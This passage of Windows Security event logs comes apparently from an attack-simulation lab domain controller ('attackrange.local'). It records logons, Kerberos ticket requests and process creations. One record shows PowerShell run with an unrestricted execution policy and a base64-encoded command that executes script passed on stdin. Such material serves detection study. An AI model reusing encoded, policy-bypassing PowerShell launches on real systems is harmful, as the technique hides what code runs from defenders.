64346 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249871 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFD95 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249870 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFD32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249869 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFD32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64345 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249868 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFD32 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249934 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1B7B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249933 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF1B7B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64352 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249932 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1B7B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249931 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1B1A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249930 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF1B1A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64351 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249929 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1B1A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249928 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1AB4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249927 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF1AB4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64350 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249926 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1AB4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249925 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1A53 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249924 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF1A53 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64349 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249923 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF1A53 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249922 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF16DD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF16DD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249920 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249919 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249918 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249917 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x938 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF03A5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF03A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which 